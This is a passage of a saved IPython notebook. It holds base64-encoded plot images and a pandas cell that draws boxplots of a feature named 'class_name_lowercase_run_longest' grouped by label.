Z5jYjYAhihS8KdmdfONShJkiRp\n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\n", + "text": [ + "" + ] + } + ], + "prompt_number": 160 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot('class_name_lowercase_run_longest', 'label')\n", + "plt.ylabel('Max Run of Lower Case Letters')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 161, + "text": [ + "" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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\nkqQx1TbmetA45loaTI4fkySpPxHgr7P